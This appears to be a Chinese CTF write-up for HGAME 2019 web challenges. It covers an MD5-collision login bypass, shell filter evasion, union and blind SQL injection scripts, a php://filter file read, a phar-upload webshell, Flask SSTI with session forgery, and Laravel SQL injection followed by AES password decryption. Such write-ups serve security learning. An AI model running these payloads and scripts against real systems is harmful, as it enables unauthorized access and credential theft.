HGAME2019-Web-Week3&4

week-3

神奇的MD5

文件探测一下发现存在备份文件泄露.login.php.swp,核心代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
session_start();
error_reporting(0);
if (@$_POST['username'] and @$_POST['password'] and @$_POST['code'])
{
$username = (string)$_POST['username'];
$password = (string)$_POST['password'];
$code = (string)$_POST['code'];
if (($username == $password ) or ($username == $code) or ($password == $code)) {
echo "Your input can't be the same";
}
else if ((md5($username) === md5($password)) and (md5($password) === md5($code))){
echo "Good";

header('Location: admin.php');
exit();
} else {
echo "<pre> Invalid password</pre>";
}
}

可以看到我们只要生成三个文件内容不同但是MD5值相同的文件就可以了,搜索了一下发现了一篇文章link,有一个工具fastcoll就可以生成两个MD5值相同的不同文件

  1. 先生成两个MD5值相同的文件

    1
    fastcoll_v1.0.0.5.exe -o test0 test1
  2. 然后根据test1再生成两个MD5值相同的文件,此时test00,test01的MD5值相同

    1
    fastcoll_v1.0.0.5.exe -p test1 -o test00 test01
  3. 将test00的最后128位写入文件a,(-c 128 表示最后128位,tail读文件是从后往前读的,这128位正是test1和test00MD5不同的原因),同理处理一下test01

    1
    2
    tail -c 128 test00 > a
    tail -c 128 test01 > b
  4. 执行type命令将test0和a的内容写进test10中,将test0和b的内容写入test11

    1
    2
    type test0 a > test10
    type test1 b > test11

于是就生成了test00,test01,test10,test11四个MD5值相同的文件,再用curl编码一下

1
curl --data-urlencode username@C:\Users\Snow\Desktop\fastcoll_v1.0.0.5.exe\test00 --data-urlencode password@C:\Users\Snow\Desktop\fastcoll_v1.0.0.5.exe\test01 --data-urlencode code@C:\Users\Snow\Desktop\fastcoll_v1.0.0.5.exe\test10 http://118.25.89.91:8080/question/login.php -i

之后可以得到服务器返回的cookieSet-Cookie: PHPSESSID=ff92dae820810170f60ef2a04f027a61; path=/,写入admin.php页面中,发现是个shell终端,可以查看到admin.php源码,关键过滤如下

1
$cmd = str_replace("flag",'none',$cmd);

绕过很简单,通配符与单引号都可以绕过

payload:cat /fl?? OR cat /fl''ag

flag:hgame{a1c83b66cc504d583c09ea6c20c0dabc}

sqli-1

1
substr(md5($_GET["code"]),0,4) === 7229

题目需要验证码,可以爆破一下

1
2
3
4
5
6
for($i=0;$i<999999999;$i++){
if(substr(md5($i), 0, 4)==='803a'){
echo $i;
break;
}
}

然后就是常规的数字型注入了,注意每次都要更新一下code值

1
?code=4446&id=1 order by 1--+
1
?code=31226&id=-1 union select group_concat(table_name) from information_schema.tables where table_schema=database()--+

f1l1l1l1g,words

不知道为什么表名不对,猜测可能是表名有什么问题,所以用16进制编码一下

1
?code=70176&id=-1 union select group_concat(column_name) from information_schema.columns where table_name=0x66316c316c316c3167--+

f14444444g

1
?code=51097&id=-1 union select f14444444g from f1l1l1l1g--+

flag: hgame{sql1_1s_iNterest1ng}

sqli-2

依然数字型注入,只不过是盲注,本来不想写代码的,哎,还是逃不过。

PS:由于没注意看题目,结果直接上来时间盲注了,但是等的真的绝望,后来才回过味来可以bool盲注,速度才上来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import hashlib
import requests
import re
import string
cookies = {'PHPSESSID':'lseqgohjo9eibfivnemk6sa8vd'}
def md5(_in):
m = hashlib.md5()
m.update(_in.encode('utf-8'))
return m.hexdigest()[0:4]

def get_code():
global url
res = requests.get(url, cookies=cookies).text
code = re.findall(r'=== (.{4})<br>',res)[0]
for i in range(9999999999999):
if code == md5(str(i)):
return str(i)

url = "http://118.89.111.179:3001/"
output = "hgame{sqli_1s_s0_"
succ = "sql error"
name_dic = string.digits + string.ascii_lowercase + string.ascii_uppercase + '_{}' + ','

for i in range(18,60):
for j in name_dic:
code = get_code()
# payload = f'?code={code}&id=1 and if((substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{str(i)},1)="{str(j)}"),0,sleep(5))--+'
# F11111114G,WORDS
# payload = f'?code={code}&id=1 and if((substr((select group_concat(column_name) from information_schema.columns where table_name="F11111114G"),{str(i)},1)="{str(j)}"),0,sleep(5))--+'
# FL4444AG
payload = f'?code={code}&id=1 and if((substr((select FL4444AG from F11111114G),{str(i)},1)=binary "{str(j)}"),sleep(-5),1)--+'
res = requests.get(url+payload,cookies=cookies).text
if succ in res:
output += j
print("output: ",output)
break

flag如下

1
hgame{sqli_1s_s0_s0_s0_s0_interesting}

基础渗透

正常注册登录,发现在点击不同的功能的时候是通过action参数来实现的,比如看到有action=message,猜测是不是存在文件包含,访问message.php页面发现果真存在,尝试文件包含

1
http://111.231.140.29:10080/index.php?action=php://filter/read=convert.base64-encode/resource=index

得到源码

1
2
3
4
5
6
7
8
9
10
<?php
include_once("template/header.php");
if (is_null($_SESSION['user_id'])) {
header('Location:/login.php');
exit();
}
$page = array_key_exists('action', $_GET) ? $_GET['action'] : 'message';
require $page .'.php';
include_once("template/footer.php");
?>

functions.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
<?php
//ini_set("display_errors", "on");
require_once('config.php');
session_start();
function sql_query($sql_query)
{
global $mysqli;
$res = $mysqli->query($sql_query);
return $res;
}
function csrf_token()
{
$token = '';
$chars = str_split('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ');
for ($i = 0; $i < 48; $i++) {
$token = $token . $chars[random_int(0, 61)];
}
$_SESSION['token'] = $token;
echo "<input type='hidden' value='$token' id='token'>";
}
function res_to_json($res, $type)
{
$json['type'] = $type;
$json['status'] = "true";
$json["content"] = array();
foreach ($res as $message) {

$array_tmp['user_id'] = $message['user_id'];
$array_tmp['user'] = $message['user'];
$array_tmp['avatar'] = get_avatar($message['user_id']) != null ? get_avatar($message['user_id'])['content'] : md5($message['user']);
$array_tmp['message'] = $message['content'];
$array_tmp['message_id'] = $message['message_id'];
$array_tmp['time'] = $message['date'];
array_push($json["content"], $array_tmp);
}
$json["content"] = $json["content"];
return json_encode($json);
}
function judge($username, $password)
{
if ($username == null) {
echo "username's length error!";
return false;
} elseif (strlen($password) < 6 or strlen($password) > 16) {
echo "password's length error!";
return false;
} else {
return true;
}
}
function register($username, $password, $token)
{
if (judge($username, $password) == 1 and $token === $_SESSION['token']) {
$password = md5($password);
$sql_query = "insert into `users`(`username`,`password`) VALUES ('$username','$password')";
$res = sql_query($sql_query);
if ($res) {
echo 'register success!';
} else {
echo 'error!';
}
} else {
echo "error!";
return false;
}
}
function login($username, $password, $token)
{
if (!isset($_SESSION['login']) and $token === $_SESSION['token']) {
$password = md5($password);
$sql_query = "select * from `users` where `username`='$username' and `password`='$password'";
$res = sql_query($sql_query);
if ($res->num_rows) {
$data = $res->fetch_array();
$_SESSION['user_id'] = $data['user_id'];
$_SESSION['user'] = $data['username'];
$_SESSION['groups'] = $data['groups'];
$_SESSION['login'] = 1;
setcookie('user', $_SESSION['user']);
setcookie('groups', $_SESSION['groups']);
} else {
echo "error!";
return false;
}
} else {
echo "error!";
return false;
}
}
function loginout()
{
if ($_GET['loginout'] === $_SESSION['token']) {
session_destroy();
setcookie('groups', null);
setcookie('user', null);
Header("Location: index.php");
}
}
function get_avatar($user_id)
{
$sql_query = "select `avatar` from `users` where `user_id`=$user_id";
$res = sql_query($sql_query)->fetch_row()[0];
if ($res) {
return array('name' => $res, 'content' => base64_encode(file_get_contents('./img/avatar/' . $res . '.png')));
} else {
return null;
}
}
function get_new_messages()
{
$start = $_GET['start'] ?? 0;
$start = addslashes($start);
$user_id = $_SESSION['user_id'];
$sql_query = "select * from `messages` where `user_id`=$user_id LIMIT $start,999999999999";
$res = sql_query($sql_query);
if ($res->num_rows) {
return res_to_json($res, "messages");
}
}
function get_messages()
{
$start = $_GET['start'] ?? 0;
$start = addslashes($start);
$user_id = $_SESSION['user_id'];
$sql_query = "select * from `messages` where `user_id`=$user_id ORDER BY `message_id` DESC LIMIT $start,12";
$res = sql_query($sql_query);
if ($res->num_rows) {
return res_to_json($res, "messages");
}
}
function add_message($message)
{
if ($_POST['token'] === $_SESSION['token']) {
if (isset($_SESSION['login']) and mb_strlen($message) > 6) {
$user_id = $_SESSION['user_id'];
$user = $_SESSION['user'];
$sql_query = "insert into `messages`(`user_id`,`user`,`content`) VALUES($user_id,'$user','$message')";
sql_query($sql_query);
} elseif (!isset($_SESSION['login'])) {
echo "login error";
} else {
echo "length error";
}
}
}
function delete_message($message_id)
{
$user_id = $_SESSION['user_id'];
if ($_POST['token'] === $_SESSION['token']) {
if ($_SESSION['groups'] == 0) {
$sql_query = "delete from `messages` where `message_id`=$message_id and `user_id`=$user_id";
} elseif ($_SESSION['groups'] == 1) {
$sql_query = "delete from `messages` where `message_id`=$message_id";
}
sql_query($sql_query);
}
}
function rand_filename()
{
$tmp = `cat /dev/urandom | head -n 10 | md5sum | head -c 15`;
$sql_query = "select `avatar` from `users` where `avatar`=$tmp";
$res = sql_query($sql_query);
if ($res->num_rows) {
return rand_filename();
} else {
return $tmp;
}
}
function upload_avatar()
{
$type = $_FILES['file']['type'];
$user_id = $_SESSION['user_id'];
if ($type == 'image/gif' || $type == 'image/jpeg' || $type == 'image/png') {
$avatar = get_avatar($user_id);
if ($avatar == null) {
$name = rand_filename();
move_uploaded_file($_FILES['file']['tmp_name'], "./img/avatar/" . $name . ".png");
$sql_query = "update `users` set `avatar`='$name' WHERE `user_id`=$user_id";
sql_query($sql_query);
} else {
move_uploaded_file($_FILES['file']['tmp_name'], "./img/avatar/" . $avatar['name'] . ".png");

}
}
}
function change_password($opassword, $npassword, $npasswod_again)
{
if (judge($_SESSION['user'], $npassword)) {
if ($npasswod_again !== $npassword) {
echo "difference error";
} else {
$user_id = $_SESSION['user_id'];
$sql_query = "select `password` from `users` where `user_id`=$user_id";
$res = sql_query($sql_query);
if ($res->num_rows) {
if ($res->fetch_row()[0] === md5($opassword)) {
$sql_query = "update `users` set `password`=md5($npassword) WHERE `user_id`=$user_id";
$res = sql_query($sql_query);
echo $res;
echo "successful";
} else {
echo "oldpassword error";
}
}
}

}
}

审计代码可知,存在一处图片上传,但是不知道文件名,题目中有很多sql语句,都用addslashes()函数转义过了,字符型注入无法实施,但是在delete_message中存在数字型注入$sql_query = “delete from messages where message_id=$message_id and user_id=$user_id”;,参数可控且没有单引号(addslashes()过滤无效),我们可以通过时间盲注来获取我们当前用户对应的文件名,token是一次一刷新,需要每次都获取,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import re

cookies = {
"groups":"0",
"PHPSESSID":"c419fq3ppu11r1o2tra4l9rlnm",
"user":"snowtest"
}
url_del = 'http://111.231.140.29:10080/messages_api.php?action=delete'
url = 'http://111.231.140.29:10080/index.php?action=message'
message = "7469 and if(ascii((substr((select avatar from users where username like 0x736e6f777425 limit 1),{},1)))={},sleep(5),0)#"
avatar = ''
for i in range(1,100):
for j in range(34,127):
r = requests.get(url,cookies=cookies)
token = re.findall(r"value='(.*)' id='token'>",r.text)[0]
data = dict(token=token,message_id=message.format(i,j))
try:
r = requests.post(url_del,cookies=cookies,data=data,timeout=4)
except:
avatar += chr(j)
print(avatar)
break

可以得到我的账号对应的文件名为1bce72251d3c333,在upload_avatar()中会在文件名后面强行拼接png后缀move_uploaded_file($_FILES['file']['tmp_name'], "./img/avatar/" . $name . ".png");,也就是最终上传的文件名会被命名为1bce72251d3c333.png,如果直接写入shell肯定是无法执行的,不过前面我们读源码的时候利用了require $page .'.php';,所以我们可以利用phar协议来getshell,在本地写一个shell,然后打包为zip文件,修改文件头并上传


然后上传,之后访问http://111.231.140.29:10080/index.php?action=phar://img/avatar/1bce72251d3c333.png/shell即可getshell

然后就是文件探测了,可以使用find命令snow=system('find / -name "*flag*"');,最终payload

1
hgame{e4616b38e22d1a22cedc53a90cfaa87f75ccbfe565399857a390950a58a94e68}

BabyXss

题目环境有点问题

WEEK-4

happypython

python下的ssti,自己当时做的时候想到了要获取secret_key的思路,但是可惜没想到ssti,自己对框架相关问题了解的太少了,以后要在这方面加强一下,简单测试一下可以发现该框架是存在模板注入的问题的http://118.25.18.223:3001/{{1+1}}

接下来读取配置文件http://118.25.18.223:3001/{{config}},可以获取到secret_key

解一下cookie

1
python session.py decode -c .eJwlj0FqQzEMBe_idRaSLMl2LvORZYmGQAv_J6vSu8fQ1ayGee-3HHnG9VXur_Mdt3I8VrkXEETAdKvkc1EbK5fG0D4oXKR3DND0qSbUGy1gHwTeONI8RxCLVOWuWmU2iC27qzNrwuSKCpDTbCipEfQxyY3Fos2-nGKWW_HrzOP184zvvUexCUtm3wzlXRAbKQwzrCOtMJJel2zvfcX5fwIRy98HJ4Y_iA.XHUmGA.wO2v6jNOPBHknlA5tAqik2bE_hI -s 9RxdzNwq7!nOoK3*
1
{u'csrf_token': u'617545ff8175e64f9e5a9f540bea812dea2583d5', u'_fresh': True, u'user_id': u'111', u'_id': u'051101fca32cbd279dfd6e96892ec55881e06fcb6a52872d04c920c74efacf9e245536486635b70ed6ecc6c446f0b431600fbaa9626a2089b2ca45ae7b8dc2eb'}

猜测user_id可能代表的是用户id,猜测admin的用户ID为1,修改一下id为1伪造cookie

1
python session_cookie_manager.py encode -s 9RxdzNwq7!nOoK3* -t {'csrf_token':'617545ff8175e64f9e5a9f540bea812dea2583d5','_fresh':True,'user_id':'1','_id':'0 51101fca32cbd279dfd6e96892ec55881e06fcb6a52872d04c920c74efacf9e245536486635b70ed6ecc6c446f0b431600fbaa9626a208 9b2ca45ae7b8dc2eb'}

然后将生成的cookie覆盖原来cookie即可得到flag

1
hgame{Qu_bu_la1_m1ng_z1_14}

ps: 这题我入了一个坑点,在伪造cookie的时候,命令行下老是报错ValueError: dictionary update sequence element #0 has length 1; 2 is required,查看了一下代码发现是在dict()函数处报错的

1
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))

但是同样的代码在linux下就可以正常运行,测试了一下发现在windows下dict的参数其实是类似于{aa:aa},而linux下却是{'aa':'aa'},命令行输入是完全相同的,显然windows下的参数无法正确执行,经过研究发现是"捣的鬼,在windows下我们输入的"是不会被捕获的,只会捕获双引号里面的内容,而单引号不存在这个问题,如果想要输入双引号必须要反斜杠转义,举个例子

1
2
3
import sys
for i in range(4):
print(sys.argv[i])

我们输入python b.py "key":"value" 'key':'value' \"\',此时输出为

1
2
3
4
b.py
key:value
'key':'value'
"\'

这就是区别,应该是windows特性的问题,自己被坑了好久还以为自己做的不对(泪奔~~~~~)

happyPHP

正常注册之后登录,查看源代码可以得到项目源代码!--https://github.com/Lou00/laravel-->

审计代码时,一般应该从路由开始看起,看一共有哪些页面,实现了哪些功能,对于laraval来说,我们先从routes/web.php开始审计

可以看到实现的路由,例如对第一行来说,表示的意思就是将根目录发送给StaticPagesController控制器下的home方法进行解析,name方法用来命令路由,便于后期的维护。

app中的文件是框架的核心控制部分,我们查看一下该部分看看,在SessionController.php中发现了问题

1
2
3
4
5
6
7
8
9
if (Auth::attempt($credentials)) {
if (Auth::user()->id ===1){
session()->flash('info','flag :******');
return redirect()->route('users.show');
}
$name = DB::select("SELECT name FROM `users` WHERE `name`='".Auth::user()->name."'");
session()->flash('info', 'hello '.$name[0]->name);
return redirect()->route('users.show');
}

可以看到此处存在sql语句,在laraval中有更加安全的sql查询方式,这儿显然存在问题的,存在sql注入问题,我们可以注册一个用户名为' union select group_concat(email,password) from users where id=1#,然后登录即可获得该用户的email和密码(因为题目要求id=1的用户登录才可以得到flag),

1
admin@hgame.comeyJpdiI6InJuVnJxZkN2ZkpnbnZTVGk5ejdLTHc9PSIsInZhbHVlIjoiRWFSXC80ZmxkT0dQMUdcL2FESzhlOHUxQWxkbXhsK3lCM3Mra0JBYW9Qb2RzPSIsIm1hYyI6IjU2ZTJiMzNlY2QyODI4ZmU2ZjQxN2M3ZTk4ZTlhNTg4YzA5N2YwODM0OTllMGNjNzIzN2JjMjc3NDFlODI5YWYifQ==

密码是经过加密的,解密一下

{“iv”:”rnVrqfCvfJgnvSTi9z7KLw==”,”value”:”EaR/4fldOGP1G/aDK8e8u1Aldmxl+yB3s+kBAaoPods=”,”mac”:”56e2b33ecd2828fe6f417c7e98e9a588c097f083499e0cc7237bc27741e829af”}

查看配置文件可以发现使用了aes加密,但是key值不知道

1
2
'key' => env('APP_KEY'),
'cipher' => 'AES-256-CBC',

回滚git版本找到key值

APP_KEY=base64:9JiyApvLIBndWT69FUBJ8EQz6xXl5vBs7ofRDm9rogQ=

接下来编写解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
import base64
from Crypto.Cipher import AES

iv = 'rnVrqfCvfJgnvSTi9z7KLw=='
value = 'EaR\/4fldOGP1G\/aDK8e8u1Aldmxl+yB3s+kBAaoPods='
enc = '9JiyApvLIBndWT69FUBJ8EQz6xXl5vBs7ofRDm9rogQ='
enc = base64.b64decode(enc)
iv = base64.b64decode(iv)
value = base64.b64decode(value)
cryptor = AES.new(enc,AES.MODE_CBC,iv)
con = cryptor.decrypt(value)
print con

可以得到密码为9pqfPIer0Ir9UUfR,登录即可得到flag

Reference:

  1. https://xz.aliyun.com/t/3161
  2. https://zry.io/archives/183
-------------本文结束感谢您的阅读-------------
您今天怎么辣么迷人!